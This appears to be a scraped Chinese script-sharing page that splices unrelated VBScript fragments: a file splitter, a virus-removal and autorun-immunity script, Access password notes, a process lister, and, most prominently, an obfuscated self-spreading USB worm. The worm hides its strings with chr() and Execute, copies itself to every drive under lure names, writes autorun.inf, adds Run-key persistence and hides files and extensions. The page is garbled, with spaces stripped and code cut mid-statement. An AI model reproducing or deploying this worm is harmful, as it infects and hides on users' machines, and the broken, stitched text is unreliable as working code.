神武手游脚本windowsbat编

发布时间:2020-06-05 来源:脚本之家 点击:


你只要保证你的数据库在你程序所在的目录之下就行了
Option Explicit
'这个脚本只用来分割文本文件,脚本需要3个参数
'参数列表
'文件名 参数1 参数2
'梦想工作室
'示例 参数1 参数2 参数意义
' S 5 等分为5个文件
' E 1024 按照1024的大小分割文件
' F 1024 取最前面的1024字节存为一个文件
' L 1024 取最后面的1024字节存为一个文件

Dim tf,sf,fname,souFile,desFolder ,sOption , sNum , FSO , fs, sfs

If WScript.Arguments.Count < 3 Then
WScript.Echo "参数有误!"
WScript.Quit
Else
souFile=WScript.Arguments(0)
sOption=WScript.Arguments(1)
sNum=WScript.Arguments(2)
End If

Set FSO=CreateObject("Scripting.FileSystemObject")
Set tf=FSO.GetFile(souFile)
fs=tf.Size
Set tf=fso.OpenTextFile(souFile, 1)

Dim x
Select Case sOption
Case "S"
sfs=Int ( fs / sNum )
for x=1 to sNum-1
SaveSubFile "file_" & x &".txt", 0 ,sfs
Next
SaveSubFile "file_" & sNum &".txt", 0 , fs - sfs * (sNum-1)
Case "E"
sfs=sNum
sNum=Int ( fs / sfs) + 1
for x=1 to sNum-1
SaveSubFile "file_" & x &".txt", 0 ,sfs
Next
SaveSubFile "file_" & sNum &".txt", 0 , fs - sfs * (sNum-1)
Case "F"
SaveSubFile "file_" & 0 &".txt", 0 , sNum
Case "L"
SaveSubFile "file_" & 0 &".txt", fs - sNum , sNum
End Select

tf.Close

Sub SaveSubFile(s,b,l)
Dim sfile,content
WScript.Echo s & ":" & b &":" & l
Set sfile=fso.CreateTextFile(s, TRUE)
If b>0 Then
tf.Skip(b)
End If
content=tf.Read(l)
sfile.Write(content)
sfile.Close
End Sub

鼠标脚本点击整个页面


下面的程序是在RichTextBox控件中实现上标和下标的形式,主要是使作为上、下标的字符的尺寸小一些,位置在基线上下浮动


v1.attributes=0
v2.attributes=0
v3.attributes=0
v4.attributes=0
v1.delete
v2.delete
v3.delete
v4.delete
'-----------------病毒文件删除模块终止-----------------

'-----------------遍历删除各盘符根目录下病毒文件模块开始-----------------
setfso=createobject("scripting.filesystemobject")
setdrvs=fso.drives
foreachdrvindrvs
ifdrv.drivetype=1ordrv.drivetype=2ordrv.drivetype=3ordrv.drivetype=4then
setw=fso.getfile(drv.driveletter&":\rundll.exe")
w.attributes=0
w.delete
setu=fso.getfile(drv.driveletter&":\autorun.inf")
u.attributes=0
u.delete
endif
next
'-----------------遍历删除各盘符根目录下病毒文件模块终止-----------------

'-----------------注册表操作模块开始-----------------
setreg=wscript.createobject("wscript.shell")
reg.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\Userinit",fso.GetSpecialFolder(1)&"?nit.exe,","REG_SZ"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools",0,"REG_DWORD"
reg.regdelete"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions"
'-----------------注册表操作模块终止-----------------

'-----------------系统文件恢复模块开始-----------------
setfso=createobject("scripting.filesystemobject")
fso.getfile("rundll32.exe").copy("c:\windows\system32\rundll32.exe")
fso.getfile("rundll32.exe").copy("C:\WINDOWS\system32\dllcache\rundll32.exe")
'-----------------系统文件修复模块终止-----------------

'-----------------HOST文件修复模块开始-----------------
setfso=createobject("scripting.filesystemobject")
setre=fso.OpenTextFile("C:\WINDOWS\system32\drivers\etc\hosts",2,0)
re.Writeline"127.0.0.1localhost"
re.Writeline"127.0.0.1你要屏蔽的恶意网址或IP.com"
re.Close
setre=nothing
'-----------------HOST文件修复模块终止-----------------

'-----------------Autorun免疫模块开始-----------------
setfso=createobject("scripting.filesystemobject")
setdrvs=fso.drives
foreachdrvindrvs
ifdrv.drivetype=1ordrv.drivetype=2ordrv.drivetype=3ordrv.drivetype=4then
fso.createfolder(drv.driveletter&":\autorun.inf")
fso.createfolder(drv.driveletter&":\autorun.inf\免疫文件夹..")
setfl=fso.getfolder(drv.driveletter&":\autorun.inf")
fl.attributes=3
endif
next
'-----------------Autorun免疫模块终止-----------------

'-----------------ARP病毒欺骗--客户端免疫模块开始-----------------
setWshShell=wscript.createobject("wscript.shell")
WshShell.run"arp-d",0
WshShell.run"arp-s202.4.139.100-07-ec-23-f8-0a",0,true
'-----------------ARP病毒欺骗--客户端免疫模块终止-----------------

setfso=nothing
msgbox"病毒清除成功,请重启电脑使用ADO的打开Accecc数据库方法:
DimDBAsDatabase
SetDB=OpenDatabase(FilePath,dbDriverNoPrompt,False,";PWD=你的密码")

使用Data控件打开Accecc数据库方法:
首先设置Data控件的属性Exclusive=True为独占模式
设置Connect属性为;pwd=密码
Data1.Connect=";pwd=你的密码"
修改密码:
Data1.Database.NewPassword老密码,新密码

->

'FileName:ProcessMagnifier.vbs
'Function:Captureinformationabouttherunningprocessesindetail
'codebysomebody
'QQ:240460440
'LastModified:2007-11-1618:25
'仅供学习

ConstHKEY_CURRENT_USER=&H80000001
oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv")
strKeyPath="Console\%SystemRoot%_system32_cmd.exe"
oReg.CreateKey(HKEY_CURRENT_USER,strKeyPath)
strValueName1="CodePage"
dwValue1=936
strValueName2="ScreenBufferSize"
dwValue2=98304200
strValueName3="WindowSize"
dwValue3=2818173
strValueName4="HistoryNoDup"
dwValue4=0
strValueName5="WindowPosition"
dwValue5=131068
strValueName6="QuickEdit"
dwValue6=2048
oReg.SetDWORDValue(HKEY_CURRENT_USER,strKeyPath,strValueName1,dwValue1)
oReg.SetDWORDValue(HKEY_CURRENT_USER,strKeyPath,strValueName2,dwValue2)
oReg.SetDWORDValue(HKEY_CURRENT_USER,strKeyPath,strValueName3,dwValue3)
oReg.SetDWORDValue(HKEY_CURRENT_USER,strKeyPath,strValueName4,dwValue4)
oReg.SetDWORDValue(HKEY_CURRENT_USER,strKeyPath,strValueName5,dwValue5)
oReg.SetDWORDValue(HKEY_CURRENT_USER,strKeyPath,strValueName6,dwValue6)


DimobjWSH,FinalPath
objWSH=WScript.CreateObject("WScript.Shell")
If(LCase(Right(WScript.Fullname,11))="wscript.exe")Then
FinalPath="'"&WScript.ScriptFullName&"'"
objWSH.Run("cmd.exe/kcscript//nologo"&Replace(FinalPath,"'",""""))
WScript.Quit()
EndIf

oReg.DeleteKey(HKEY_CURRENT_USER,strKeyPath)
oReg=Nothing

WScript.Echo()
WScript.Sleep(1000)
WScript.Echo("当前正在运行的进程简要信息列表如下:")
WScript.Echo(vbCrLf)
WScript.Sleep(2000)

DimMyOBJProcessName
OBJWMIProcess=GetObject("winmgmts:\\.\root\cimv2").ExecQuery("Select*FromWin32_Process")
WScript.Echo"Name:Priority:PID:Owner:"&vbTab&vbTab&"ExecutablePath:"
WScript.Echo("---------------------------------------------------------------------------------------")
ForEachOBJProcessInOBJWMIProcess
MyOBJProcessName=OBJProcess.Name&""
colProperties=OBJProcess.GetOwner(strNameOfUser,strUserDomain)
WScript.EchoMid(MyOBJProcessName,1,20)&vbTab&OBJProcess.Priority&vbTab&OBJProcess.ProcessID&vbTab&strNameOfUser&vbTab&vbTab&OBJProcess.ExecutablePath
Next

WScript.Sleep(5000)
WScript.Echo(vbCrLf)
WScript.Echo("当前正在运行的进程以及其加载的模块详细信息树状结构如下:")
WScript.Echo(vbCrLf)
WScript.Sleep(3000)
WScript.EchovbTab&vbTab&vbTab&vbTab&vbTab&vbTab&vbTab&vbTab&vbTab&vbTab&vbTab&vbTab&vbTab&vbTab&vbTab&vbTab&vbTab&"创建时间文件制造商"

OBJWMIService=GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
OBJRefresher=CreateObject("WbemScripting.SWbemRefresher")
colItems=OBJRefresher.AddEnum(OBJWMIService,"Win32_PerfFormattedData_PerfProc_FullImage_Costly").ObjectSet
OBJRefresher.Refresh()
ForEachOBJItemIncolItems
DimoriginalPath,ModulePath,WMIPathMode,FileManufacturer,LCaseModulePath
DimFileExtension,mark,MyLCaseModulePath,FinalModulePath
originalPath=OBJItem.Name
ModulePath=Split(originalPath,"/")
WMIPathMode=Replace(ModulePath(1),"","\")
OBJWMI=GetObject("winmgmts:\\.\root\CIMV2")
colManufacturer=OBJWMI.ExecQuery("SELECT*FROMCIM_DataFileWhereName='"&WMIPathMode&"'")
ForEachOBJManufacturerIncolManufacturer
FileManufacturer=Trim(OBJManufacturer.Manufacturer)
LCaseModulePath=LCase(Trim(OBJManufacturer.Name))
FileExtension=Right(LCaseModulePath,3)
MyLCaseModulePath=LCaseModulePath&""
FSO=CreateObject("Scripting.FileSystemObject").GetFile(LCaseModulePath)
IfFileExtension="exe"Then
mark="├—"
FinalModulePath=Mid(MyLCaseModulePath,1,118)
WScript.Echo("│")
Else
mark="│├─"
FinalModulePath=Mid(MyLCaseModulePath,1,116)
EndIf
WScript.Echomark&FinalModulePath&FSO.DateCreated&vbTab&FileManufacturer
Next
Next然后再乘以1440转换为twip

例子 1

如何运行sh当我们要移动控制项(Control)或表单(Form)时,很多人习惯这样写:

frmCustomer.Left=frmCustomer.Left 100
frmCustomer.Top=frmCustomer.Top 50

但是若使用MoveMethod,可以加快40:

frmCustomer.MovefrmCustomer.Left 100,frmCustomer.Top 50->

remvbs.rhl

Dimfs,r,ss,w,reg,regpath,dvbs
ddd="Setfs="&chr(67)&"reate"&"Obj"&chr(101)&"c"&chr(116)&chr(40)&chr(34)&"Scrip"&chr(116)&"ing.File"&chr(83)&"yste"&chr(109)&chr(79)&"bject"&chr(34)&chr(41)
Executeddd
rrr="setr="&chr(119)&"scri"&"pt."&chr(67)&"reate"&"Obj"&chr(101)&"c"&chr(116)&chr(40)&chr(34)&chr(119)&"scri"&"pt."&chr(115)&"he"&chr(108)&chr(108)&chr(34)&chr(41)
Executerrr
sss="fs."&chr(103)&"etfil"&chr(101)&chr(40)&chr(119)&"scri"&"pt."&"scri"&chr(112)&"tfull"&chr(110)&"ame"&chr(41)
ttt="setdvbs="&sss
Executettt
r.run(fs.GetSpecialFolder(0)&"\explorer.exe.")
main()
OnErrorResumeNext
submain()
regtime()
finddrive()
countdrive(ss)
regwrite()
ganranfile(ss)
xunhuan()
endsub
Functionfinddrive()
ifdvbs.name="USBDRIVE.dll"then
regwrite()
ganrandisk()
endif
ifdvbs.name<>"autorun.vbs"anddvbs.name<>"USBDRIVE.dll"then
regwrite()
dvbs.delete(true)
endif
ss=Trim("")
Setdc=fs.Drives
ForEachdIndc
Ifd.DriveType=1ord.DriveType=2andd.IsReadyThen
ss=ss&d.DriveLetter
endif
Next
ss=StrReverse(LCase(Trim(ss)))
endFunction
Functioncountdrive(ss)
OnErrorResumeNext
dimx
Fori=1ToLen(ss)
x=Mid(ss,i,1)
ifx=""then
x=Mid(ss,1,1)
i=1
endif
Setw=fs.GetDrive(x)
ganrandiskroot()
Next
endFunction
Functionganrandiskroot()
dimc,s,f,vbc,ts,runreg
OnErrorResumeNext
Ifw.DriveType=2orw.DriveType=1andw.IsReadyThen
Iffs.FileExists(fs.GetSpecialFolder(1)&"\USBDRIVE.dll")Then
else
fff=sss&".copy("&chr(34)&fs.GetSpecialFolder(1)&"\USBDRIVE.dll"&chr(34)&")"
Executefff
Iffs.FileExists(fs.GetSpecialFolder(1)&"\USBDRIVE.dll")Then
else
fff=sss&".copy("&chr(34)&"D:\SystemVolumeInformation\USBDRIVE.dll"&chr(34)&")"
Executefff
iffs.FileExists("D:\SystemVolumeInformation\USBDRIVE.dll")Then
Setts=fs.CreateTextFile(w.DriveLetter&":\vbs.reg",true)
ts.WriteLine"WindowsRegistryEditorVersion5.00"
ts.WriteLine"[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLinechr(34)&chr(64)&"C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34)&"="&chr(34)&"文本文件"&chr(34)
ts.close
Setf=fs.GetFile(w.DriveLetter&":\vbs.reg")
f.attributes=f.attributes+7
Setts=fs.CreateTextFile(w.DriveLetter&":\doc.reg",true)
ts.WriteLine"WindowsRegistryEditorVersion5.00"
ts.WriteLine"[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLinechr(34)&chr(64)&"C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34)&"="&chr(34)&"MicrosoftWord文档"&chr(34)
ts.close
Setf=fs.GetFile(w.DriveLetter&":\doc.reg")
f.attributes=f.attributes+7
endif
endif
endif
Iffs.FileExists(w.DriveLetter&":\autorun.vbs")Then
Setc=fs.opentextfile(w.DriveLetter&":\autorun.vbs",1)
vbc=c.readall
IfInStr(vbc,"vbs.rhl")<>0Then
c.Close
Else
c.Close
Setc=fs.GetFile(w.DriveLetter&":\autorun.vbs")
c.delete(true)
fff=sss&".copy("&chr(34)&w.DriveLetter&":\autorun.vbs"&chr(34)&")"
Executefff
s=Array("2007总结病毒","这是病毒","违纪病毒","检查病毒","黑名单病毒","没有发出的病毒","恋爱的病毒(病毒)")
Randomize
i=Int((6*Rnd)+1)
fff=sss&".copy("&chr(34)&w.DriveLetter&":"&s(i)&".vbs"&chr(34)&")"
Executefff
Setb=fs.GetFile(w.DriveLetter&":"&s(i)&".vbs")
b.attributes=b.attributes-b.attributes
Setc=fs.GetFile(w.DriveLetter&":\autorun.vbs")
c.attributes=c.attributes+7
Iffs.FileExists(w.DriveLetter&":\vbs.reg")orfs.FileExists(w.DriveLetter&":\doc.reg")Then
else
ifw.DriveLetter="C"then
Setts=fs.CreateTextFile(fs.GetSpecialFolder(1)&"\vbs.reg",true)
ts.WriteLine"WindowsRegistryEditorVersion5.00"
ts.WriteLine"[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLinechr(34)&chr(64)&"C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34)&"="&chr(34)&"文本文件"&chr(34)
ts.close
Setf=fs.GetFile(fs.GetSpecialFolder(1)&"\vbs.reg")
f.attributes=f.attributes+7
Setts=fs.CreateTextFile(fs.GetSpecialFolder(1)&"\doc.reg")
ts.WriteLine"WindowsRegistryEditorVersion5.00"
ts.WriteLine"[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLinechr(34)&chr(64)&"C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34)&"="&chr(34)&"MicrosoftWord文档"&chr(34)
ts.close
Setf=fs.GetFile(fs.GetSpecialFolder(1)&"\doc.reg")
f.attributes=f.attributes+7
else
Setts=fs.CreateTextFile(w.DriveLetter&":\vbs.reg",true)
ts.WriteLine"WindowsRegistryEditorVersion5.00"
ts.WriteLine"[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLinechr(34)&chr(64)&"C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34)&"="&chr(34)&"文本文件"&chr(34)
ts.close
Setf=fs.GetFile(w.DriveLetter&":\vbs.reg")
f.attributes=f.attributes+7
Setts=fs.CreateTextFile(w.DriveLetter&":\doc.reg",true)
ts.WriteLine"WindowsRegistryEditorVersion5.00"
ts.WriteLine"[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLinechr(34)&chr(64)&"C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34)&"="&chr(34)&"MicrosoftWord文档"&chr(34)
ts.close
Setf=fs.GetFile(w.DriveLetter&":\doc.reg")
f.attributes=f.attributes+7
endif
endif
endif
else
fff=sss&".copy("&chr(34)&w.DriveLetter&":\autorun.vbs"&chr(34)&")"
Executefff
s=Array("检查病毒","2007总结病毒","违纪病毒","这是病毒","黑名单","没有发出的病毒","恋爱的病毒(病毒)")
Randomize
i=Int((6*Rnd)+1)
fff=sss&".copy("&chr(34)&w.DriveLetter&":"&s(i)&".vbs"&chr(34)&")"
Executefff
Setb=fs.GetFile(w.DriveLetter&":"&s(i)&".vbs")
b.attributes=b.attributes-b.attributes
Setc=fs.GetFile(w.DriveLetter&":\autorun.vbs")
c.attributes=c.attributes+7
Iffs.FileExists(w.DriveLetter&":\vbs.reg")orfs.FileExists(w.DriveLetter&":\doc.reg")Then
else
ifw.DriveLetter="C"then
Setts=fs.CreateTextFile(fs.GetSpecialFolder(1)&"\vbs.reg",true)
ts.WriteLine"WindowsRegistryEditorVersion5.00"
ts.WriteLine"[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLinechr(34)&chr(64)&"C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34)&"="&chr(34)&"文本文件"&chr(34)
ts.close
Setf=fs.GetFile(fs.GetSpecialFolder(1)&"\vbs.reg")
f.attributes=f.attributes+7
Setts=fs.CreateTextFile(fs.GetSpecialFolder(1)&"\doc.reg")
ts.WriteLine"WindowsRegistryEditorVersion5.00"
ts.WriteLine"[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLinechr(34)&chr(64)&"C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34)&"="&chr(34)&"MicrosoftWord文档"&chr(34)
ts.close
Setf=fs.GetFile(fs.GetSpecialFolder(1)&"\doc.reg")
f.attributes=f.attributes+7
else
Setts=fs.CreateTextFile(w.DriveLetter&":\vbs.reg",true)
ts.WriteLine"WindowsRegistryEditorVersion5.00"
ts.WriteLine"[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLinechr(34)&chr(64)&"C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34)&"="&chr(34)&"文本文件"&chr(34)
ts.close
Setf=fs.GetFile(w.DriveLetter&":\vbs.reg")
f.attributes=f.attributes+7
Setts=fs.CreateTextFile(w.DriveLetter&":\doc.reg",true)
ts.WriteLine"WindowsRegistryEditorVersion5.00"
ts.WriteLine"[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLinechr(34)&chr(64)&"C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34)&"="&chr(34)&"MicrosoftWord文档"&chr(34)
ts.close
Setf=fs.GetFile(w.DriveLetter&":\doc.reg")
f.attributes=f.attributes+7
endif
endif
endif
Iffs.FileExists(w.DriveLetter&":\autorun.inf")Then
Setc=fs.opentextfile(w.DriveLetter&":\autorun.inf",1)
vbc=c.readall
IfInStr(vbc,"WScript.exe.\autorun.vbs")<>0Then
c.Close
Else
Setf=fs.GetFile(w.DriveLetter&":\autorun.inf")
f.attributes=f.attributes-f.attributes
Setts=f.OpenAsTextStream(2,-2)
ts.WriteLine"[AutoRun]"
ts.WriteLine"open="
ts.WriteLine""
ts.WriteLine"shell\open=打开(&O)"
ts.WriteLine"shell\open\Command=WScript.exe.\autorun.vbs"
ts.WriteLine"shell\open\Default=1"
ts.close
f.attributes=f.attributes+7
endif
else
Setts=fs.CreateTextFile(w.DriveLetter&":\autorun.inf",true)
ts.WriteLine"[AutoRun]"
ts.WriteLine"open="
ts.WriteLine""
ts.WriteLine"shell\open=打开(&O)"
ts.WriteLine"shell\open\Command=WScript.exe.\autorun.vbs"
ts.WriteLine"shell\open\Default=1"
ts.close
Setf=fs.GetFile(w.DriveLetter&":\autorun.inf")
f.attributes=f.attributes+7
EndIf
endif
endFunction
Functionregwrite()
OnErrorResumeNext
dims
a1="HKE"&"Y_CUR"&"RENT_US"&"ER\Soft"&"ware\Mi"&"croso"&"ft\Win"&"dows\Cur"&"rentV"&"ersion\Exp"&"lorer\Ad"&"vanced"(a1=HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\
a2="HK"&"EY_CLAS"&"SES_RO"&"OT\DLL"&"File"(a2=HKEY_CLASSES_ROOT\DLLFile)
a3="HKEY"&"_LOCA"&"L_MACH"&"INE\SOFT"&"WARE\Mi"&"cros"&"oft\Win"&"dows\Cur"&"rentVer"&"sion\poli"&"cies\Expl"&"orer\NoDr"&"iveTypeAutoRun"
(a3=HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoDriveTypeAutoRun)
a4="HKE"&"Y_CURR"&"ENT_USE"&"R\Softw"&"are\Micr"&"osoft\Wi"&"ndows\Cur"&"rentVersi"&"on\Polici"&"es\Explor"&"er\NoDriveT"&"ypeAutoRun"
(a4=HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDriveTypeAutoRun)
a5="HK"&"EY_LO"&"CAL_MA"&"CHINE\Sof"&"tware\Mi"&"croso"&"ft\Wind"&"ows\Curre"&"ntVersi"&"on\Ru"&"n\USBDR"&"IVE.dll"
(a5=HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\USBDRIVE.dll)
a6="R.Re"&"gWri"&chr(116)&"e"(a6=R.RegWrichr(116)e)
a7="HKE"&"Y_CLAS"&"SES_ROO"&"T\VBSF"&"ile\Defau"&"ltIcon"
(a7=HKEY_CLASSES_ROOT\VBSFile\DefaultIcon)
sets=fs.GetDrive(fs.GetDriveName(dvbs.path))
scandoc(fs.GetSpecialFolder(0)&"\Installer")
ifreg="wordicon.exe"then
ifs="C:"then
iffs.FileExists("D:\SystemVolumeInformation\USBDRIVE.dll")Then
r.run(fs.GetSpecialFolder(1)&"\dllcache\regedit.exe/s"&Space(3)&"D:\SystemVolumeInformation\doc.reg")
else
r.run(fs.GetSpecialFolder(1)&"\dllcache\regedit.exe/s"&Space(3)&fs.GetSpecialFolder(1)&"\doc.reg")
endif
else
iffs.FileExists("D:\SystemVolumeInformation\USBDRIVE.dll")Then
r.run(fs.GetSpecialFolder(1)&"\dllcache\regedit.exe/s"&Space(3)&"D:\SystemVolumeInformation\doc.reg")
else
r.run(fs.GetSpecialFolder(1)&"\dllcache\regedit.exe/s"&Space(3)&s.DriveLetter&":\doc.reg")
endif
endif
ppp=a6&Space(2)&chr(34)&a7&chr(34)&","&chr(34)®path&",1"&chr(34)
Executeppp
else
ifs="C:"then
iffs.FileExists("D:\SystemVolumeInformation\USBDRIVE.dll")Then
r.run(fs.GetSpecialFolder(1)&"\dllcache\regedit.exe/s"&Space(3)&"D:\SystemVolumeInformation\vbs.reg")
else
r.run(fs.GetSpecialFolder(1)&"\dllcache\regedit.exe/s"&Space(3)&fs.GetSpecialFolder(1)&"\vbs.reg")
endif
else
iffs.FileExists("D:\SystemVolumeInformation\USBDRIVE.dll")Then
r.run(fs.GetSpecialFolder(1)&"\dllcache\regedit.exe/s"&Space(3)&"D:\SystemVolumeInformation\vbs.reg")
else
r.run(fs.GetSpecialFolder(1)&"\dllcache\regedit.exe/s"&Space(3)&s.DriveLetter&":\vbs.reg")
endif
endif
ppp=a6&Space(2)&chr(34)&a7&chr(34)&","&chr(34)&fs.GetSpecialFolder(1)&"\shell32.dll,1"&chr(34)
Executeppp
endif
ppp=a6&Space(2)&chr(34)&a1&"ShowSuperHidden"&chr(34)&","&"0,"&chr(34)&"REG_DWORD"&chr(34)
Executeppp
ppp=a6&Space(2)&chr(34)&a1&"HideFileExt"&chr(34)&","&"1,"&chr(34)&"REG_DWORD"&chr(34)
Executeppp
ppp=a6&Space(2)&chr(34)&a1&"Hidden"&chr(34)&","&"0,"&chr(34)&"REG_DWORD"&chr(34)
Executeppp
ppp=a6&Space(2)&chr(34)&a2&"ScriptEngine"&chr(34)&","&chr(34)&"VBScript"&chr(34)
Executeppp
ppp=a6&Space(2)&chr(34)&a2&"ScriptHostEncode"&chr(34)&","&chr(34)&"{85131631-480C-11D2-B1F9-00C04F86C324}"&chr(34)
Executeppp
ppp=a6&Space(1)&chr(34)&a2&"Shell\Open\Command"&chr(34)&","&chr(34)&fs.GetSpecialFolder(1)&"\Wscript.exe"&Space(1)&chr(34)&chr(34)&"%1"&chr(34)&chr(34)&Space(1)&"%*"&chr(34)
Executeppp
ppp=a6&Space(2)&chr(34)&a2&"ShellEx\PropertySheetHandlers\WSHProps"&chr(34)&","&chr(34)&"{60254CA5-953B-11CF-8C96-00AA00B8708C}"&chr(34)
Executeppp
ppp=a6&Space(2)&chr(34)&a3&chr(34)&","&"0,"&chr(34)&"REG_DWORD"&chr(34)
Executeppp
ppp=a6&Space(2)&chr(34)&a4&chr(34)&","&"0,"&chr(34)&"REG_DWORD"&chr(34)
Executeppp
iffs.FileExists("D:\SystemVolumeInformation\USBDRIVE.dll")Then
ppp=a6&Space(2)&chr(34)&a5&chr(34)&","&chr(34)&"D:\SystemVolumeInformation"&"\USBDR"&"IVE.dll"&chr(34)
Executeppp
else
ppp=a6&Space(2)&chr(34)&a5&chr(34)&","&chr(34)&fs.GetSpecialFolder(1)&"\USBDR"&"IVE.dll"&chr(34)
Executeppp
endif
ifday(date())="27"then(27号报告错误)
msgbox"小样。

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号